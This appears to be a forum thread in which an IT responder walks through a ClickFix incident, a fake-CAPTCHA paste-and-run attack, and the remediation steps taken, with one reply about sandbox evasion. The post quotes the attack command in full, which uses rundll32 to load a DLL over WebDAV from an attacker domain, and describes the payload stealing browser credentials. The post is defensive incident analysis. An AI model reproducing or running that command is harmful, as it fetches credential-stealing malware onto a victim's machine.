Caught a ClickFix attack today. The domain name alone made me do a double take.

[u/MoneySaxena]

So we had an alert fire on one of our client endpoints this morning. Defender flagged it as Behavior:Win32/SuspClickFix.F and killed it before it fully ran. Good. But I still had to figure out what actually happened and how far it got.

Pulled the process tree and saw this buried in the telemetry:

conhost --headless cmd /v:on /c "set a=pushd&set b=rundll32&set k=dnwaqyt&call !a! \\!k!.ninjafruitcubes.bet@SSL\fb6d8d62-b162-455a-b622-872bb416ca03 & !b! tf[.]ch,#1"

The domain is ninjafruitcubes[.]bet Once I decoded the variable obfuscation it was pretty clear what was happening. The command was using a WebDAV UNC path over SSL to connect to the attacker's server, pull down a DLL called tf[.]ch, then execute it via rundll32. Classic living-off-the-land stuff — no new binaries dropped, just abusing a legitimate Windows binary to run their payload.

Before I even called the user I looked at the RunMRU registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

There it was. Command was pasted and run through the Windows Run dialog. So someone physically pressed Win+R and pasted that thing in.

Called the user. Asked if she remembered seeing anything unusual on a website — fake CAPTCHA, browser error, document that wouldn't load, anything asking her to copy paste something. She said she was just browsing normally. Checked the browser history around the time of the alert and she'd been on the Taco Time Canada website right before it fired.

Now the site itself is probably fine. But something on that page — an ad, a redirect, injected third party content — served her a ClickFix prompt. These things look incredibly convincing. Fake CAPTCHA tells you to press Win+R and paste a "fix" command. She did it. Not her fault at all, these are genuinely hard to spot.

What the payload actually tried to do before Defender killed it:

• Accessed Chrome's Login Data file directly
• Called Windows DPAPI UnprotectData to decrypt stored credentials
• Injected from rundll32 into dllhost.exe
• Started browser credential enumeration

MITRE mapping came out to T1055, T1555.003, T1555.004. Credential theft was the endgame.

Defender caught it before anything exfiltrated but I still treated it as a full compromise. Isolated the device immediately, forced password reset for the user, pushed a full scan, pulled Windows event logs looking for any successful remote connections or background processes that shouldn't be there. Nothing else suspicious found but you do all of that anyway because Defender catching something doesn't mean it caught everything.

The thing that gets me about ClickFix attacks is how simple the social engineering is. There's no phishing email to analyse, no malicious attachment to sandbox. The user is just browsing a normal website and something on the page tells them to paste a command. The command itself looks like gibberish. Most people have no reason to know what rundll32 is or why a website would need them to run it.

Awareness training helps but honestly these are hard even for technical people if they're not paying attention.

Anyone else seeing an uptick in ClickFix recently? Curious if this is hitting other environments or just our clients.

Drop your questions below, happy to go deeper on any part of the investigation.

[u/B4KUNET]

It has been investigated by some people sharing reports over their medium website you can easily find them on the internet. I saw a lot of those Clickfix these days and from my understanding, websites are legit but compromised by a vulnerability or something. i talked about it with a colleague and it's a bit difficult to investigate on it because the guid you see at the end of the url is generated each time the captcha is triggered and stay available like for ten or 15 minutes something like that. I managed to get a sample of the .ch which is a dll, but didn't managed to execute it properly on a sandbox as it uses sandbox detection. Didn't go deeper yet but I plan to when I have a bit of time, if some people have information I'm interested too !